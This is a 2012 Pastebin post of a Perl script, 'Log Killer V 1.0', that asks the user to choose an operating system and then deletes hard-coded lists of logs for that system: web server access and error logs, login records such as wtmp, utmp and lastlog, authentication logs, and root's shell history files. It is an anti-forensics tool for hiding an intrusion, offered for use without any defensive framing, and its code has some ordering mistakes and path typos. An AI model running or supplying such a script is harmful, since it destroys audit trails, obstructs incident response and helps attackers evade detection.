Advertisement
ZaraByte

Log Killer V 1.0

Mar 22nd, 2012
199
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.34 KB | None | 0 0
  1. #!usr/bin/perl
  2. {
  3. $resume = 1;
  4.  
  5. print "##################################\n";
  6. print "# Log Killer V 1.0 #\n";
  7. while($resume == 1) #Start Loop
  8. {
  9. print "# Usage log.pl <OS> #\n";
  10. print "# Operating System Choice #\n";
  11. print "#--------------------------------#\n";
  12. print "# linux #\n";
  13. print "# sunos #\n";
  14. print "# aix #\n";
  15. print "# irix #\n";
  16. print "# openbsd #\n";
  17. print "# solaris #\n";
  18. print "# suse #\n";
  19. print "# lampp #\n";
  20. print "# debian #\n";
  21. print "# freebsd #\n";
  22. print "# misc Possible Log Locations #\n";
  23. print "##################################\n";
  24.  
  25. chomp($os = <STDIN>);
  26.  
  27. if($os eq "misc"){ #If misc typed, do the following and start brackets
  28. print "[+]misc Selected...\n";
  29. sleep 1;
  30. print "[+]Logs Located...\n";
  31. sleep 1;
  32. unlink @misc;
  33. sleep 1;
  34. print "[+]Logs Successfully Deleted...\n";
  35. }
  36.  
  37. if($os eq "openbsd"){ #If openbsd typed, do the following and start brackets
  38. print "[+]openbsd Selected...\n";
  39. sleep 1;
  40. print "[+]Logs Located...\n";
  41. sleep 1;
  42. unlink @openbsd;
  43. sleep 1;
  44. print "[+]Logs Successfully Deleted...\n";
  45. }
  46.  
  47. if($os eq "freebsd"){ #If freebsd typed, do the following and start brackets
  48. print "[+]freebsd Selected...\n";
  49. sleep 1;
  50. print "[+]Logs Located...\n";
  51. sleep 1;
  52. unlink @freebsd;
  53. sleep 1;
  54. print "[+]Logs Successfully Deleted...\n";
  55. }
  56.  
  57. if($os eq "debian"){ #If Debian typed, do the following and start brackets
  58. print "[+]debian Selected...\n";
  59. sleep 1;
  60. print "[+]Logs Located...\n";
  61. sleep 1;
  62. unlink @debian;
  63. sleep 1;
  64. print "[+]Logs Successfully Deleted...\n";
  65. }
  66.  
  67. if($os eq "suse"){ #If suse typed, do the following and start brackets
  68. print "[+]suse Selected...\n";
  69. sleep 1;
  70. print "[+]Logs Located...\n";
  71. sleep 1;
  72. unlink @suse;
  73. sleep 1;
  74. print "[+]Logs Successfully Deleted...\n";
  75. }
  76.  
  77. if($os eq "solaris"){ #If solaris typed, do the following and start brackets
  78. print "[+]solaris Selected...\n";
  79. sleep 1;
  80. print "[+]Logs Located...\n";
  81. sleep 1;
  82. unlink @solaris;
  83. sleep 1;
  84. print "[+]Logs Successfully Deleted...\n";
  85. }
  86.  
  87. if($os eq "lampp"){ #If lampp typed, do the following and start brackets
  88. print "[+]Lampp Selected...\n";
  89. sleep 1;
  90. print "[+]Logs Located...\n";
  91. sleep 1;
  92. unlink @lampp;
  93. sleep 1;
  94. print "[+]Logs Successfully Deleted...\n";
  95. }
  96.  
  97. if($os eq "redhat"){ #If redhat typed, do the following and start brackets
  98. print "[+]Red Hat Linux/Mac OS X Selected...\n";
  99. sleep 1;
  100. print "[+]Logs Located...\n";
  101. sleep 1;
  102. unlink @redhat;
  103. sleep 1;
  104. print "[+]Logs Successfully Deleted...\n";
  105. }
  106.  
  107. if($os eq "linux"){ #If linux typed, do the following and start brackets
  108. print "[+]Linux Selected...\n";
  109. sleep 1;
  110. print "[+]Logs Located...\n";
  111. sleep 1;
  112. unlink @linux;
  113. sleep 1;
  114. print "[+]Logs Successfully Deleted...\n";
  115. }
  116.  
  117. if($os eq "sunos"){ #If sunos typed, do the following and start brackets
  118. print "[+]SunOS Selected...\n";
  119. sleep 1;
  120. print "[+]Logs Located...\n";
  121. sleep 1;
  122. unlink @sunos;
  123. print "[+]Logs Successfully Deleted...\n";
  124. }
  125.  
  126. if($os eq "aix"){ #If aix typed, do the following and start brackets
  127. print "[+]Aix Selected...\n";
  128. sleep 1;
  129. print "[+]Logs Located...\n";
  130. sleep 1;
  131. unlink @aix;
  132. print "[+]Logs Successfully Deleted...\n";
  133. }
  134.  
  135. if($os eq "irix"){ #If irix typed, do the following and start bracket
  136. print "[+]Irix Selected...\n";
  137. sleep 1;
  138. print "[+]Logs Located...\n";
  139. sleep 1;
  140. unlink @irix;
  141. print "[+]Logs Successfully Deleted...\n";
  142. }
  143.  
  144. #Misc Log Locations
  145. {
  146. @misc = ("/etc/httpd/logs/access.log", "/etc/httpd/logs/error.log","/etc/httpd/logs/access_log",
  147. "/etc/httpd/logs/error_log","/usr/local/apache/logs/access_log","/usr/local/apache/logs/error_log",
  148. "/usr/local/apache/logs/access.log","/usr/local/apache/logs/error.log","/var/log/apache/access_log",
  149. "/var/log/apache/error_log","/var/log/apache/access.log","/var/log/apache/error.log","/var/log/access_log",
  150. "/var/log/error_log","/var/www/logs/error.log","/var/www/logs/access.log","/var/www/logs/error_log",
  151. "/var/www/logs/access_log")
  152. }
  153.  
  154. #Logs of OpenBSD Systems
  155.  
  156. {
  157. @openbsd = ("/var/www/log/access_log", "/var/www/log/error_log")
  158. }
  159.  
  160. #Logs of FreeBSD Systems
  161.  
  162. {
  163. @freebsd = ("/usr/local/etc/httpd/logs/access_log", "/usr/local/etc/httpd/logs/error_log")
  164. }
  165.  
  166. #Logs of Debian Systems
  167.  
  168. {
  169. @debian = ("/var/log/apache/access.log", "/var/log/apache/error.log",
  170. "/var/log/apache-ssl/error.log", "/var/log/apache-ssl/access.log")
  171. }
  172.  
  173. #Logs of SuSE Linux Systems
  174.  
  175. {
  176. @suse = ("/var/log/httpd/access_log", "/var/log/httpd/error_log")
  177. }
  178.  
  179. #Logs of Solaris Systems
  180.  
  181. {
  182. @solaris = ("/var/apache/logs/access_log", "/var/apache/logs/error_log")
  183. }
  184.  
  185. #Logs of Lampp Systems
  186.  
  187. {
  188. @lampp = ("/opt/lampp/logs/error_log", "/opt/lampp/logs/access_log")
  189. }
  190.  
  191. #Logs of Red Hat, Mac OS X Systems
  192.  
  193. {
  194. @redhat = ("/var/log/httpd/access_log", "/var/log/httpd/error_log")
  195. }
  196.  
  197. #Logs of Irix Systems
  198.  
  199. {
  200. @irix = ("/var/adm/SYSLOG", "/var/adm/sulog", "/var/adm/utmp", "/var/adm/utmpx",
  201. "/var/adm/wtmp", "/var/adm/wtmpx", "/var/adm/lastlog/",
  202. "/usr/spool/lp/log", "/var/adm/lp/lp-errs", "/usr/lib/cron/log",
  203. "/var/adm/loginlog", "/var/adm/pacct", "/var/adm/dtmp",
  204. "/var/adm/acct/sum/loginlog", "var/adm/X0msgs", "/var/adm/crash/vmcore",
  205. "/var/adm/crash/unix")
  206. }
  207.  
  208. #Log sof Aix Systems
  209. {
  210. @aix = ("/var/adm/pacct", "/var/adm/wtmp", "/var/adm/dtmp", "/var/adm/qacct",
  211. "/var/adm/sulog", "/var/adm/ras/errlog", "/var/adm/ras/bootlog",
  212. "/var/adm/cron/log", "/etc/utmp", "/etc/security/lastlog",
  213. "/etc/security/failedlogin", "usr/spool/mqueue/syslog")
  214. }
  215.  
  216. #Logs of SunOS Systems
  217. {
  218. @sunos = ("/var/adm/messages", "/var/adm/aculogs", "/var/adm/aculog",
  219. "/var/adm/sulog", "/var/adm/vold.log", "/var/adm/wtmp",
  220. "/var/adm/wtmpx", "/var/adm/utmp", "/var/adm/utmpx",
  221. "/var/adm/log/asppp.log", "/var/log/syslog",
  222. "/var/log/POPlog", "/var/log/authlog", "/var/adm/pacct",
  223. "/var/lp/logs/lpsched", "/var/lp/logs/requests",
  224. "/var/cron/logs", "/var/saf/_log", "/var/saf/port/log")
  225. }
  226.  
  227. #Logs of Linux Systems
  228. {
  229. @linux = ("/var/log/lastlog", "/var/log/telnetd", "/var/run/utmp",
  230. "/var/log/secure","/root/.ksh_history", "/root/.bash_history",
  231. "/root/.bash_logut", "/var/log/wtmp", "/etc/wtmp",
  232. "/var/run/utmp", "/etc/utmp", "/var/log", "/var/adm",
  233. "/var/apache/log", "/var/apache/logs", "/usr/local/apache/logs",
  234. "/usr/local/apache/logs", "/var/log/acct", "/var/log/xferlog",
  235. "/var/log/messages/", "/var/log/proftpd/xferlog.legacy",
  236. "/var/log/proftpd.xferlog", "/var/log/proftpd.access_log",
  237. "/var/log/httpd/error_log", "/var/log/httpsd/ssl_log",
  238. "/var/log/httpsd/ssl.access_log", "/etc/mail/access",
  239. "/var/log/qmail", "/var/log/smtpd", "/var/log/samba",
  240. "/var/log/samba.log.%m", "/var/lock/samba", "/root/.Xauthority",
  241. "/var/log/poplog", "/var/log/news.all", "/var/log/spooler",
  242. "/var/log/news", "/var/log/news/news", "/var/log/news/news.all",
  243. "/var/log/news/news.crit", "/var/log/news/news.err", "/var/log/news/news.notice",
  244. "/var/log/news/suck.err", "/var/log/news/suck.notice",
  245. "/var/spool/tmp", "/var/spool/errors", "/var/spool/logs", "/var/spool/locks",
  246. "/usr/local/www/logs/thttpd_log", "/var/log/thttpd_log",
  247. "/var/log/ncftpd/misclog.txt", "/var/log/nctfpd.errs",
  248. "/var/log/auth")
  249. }
  250.  
  251. }
  252.  
  253. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement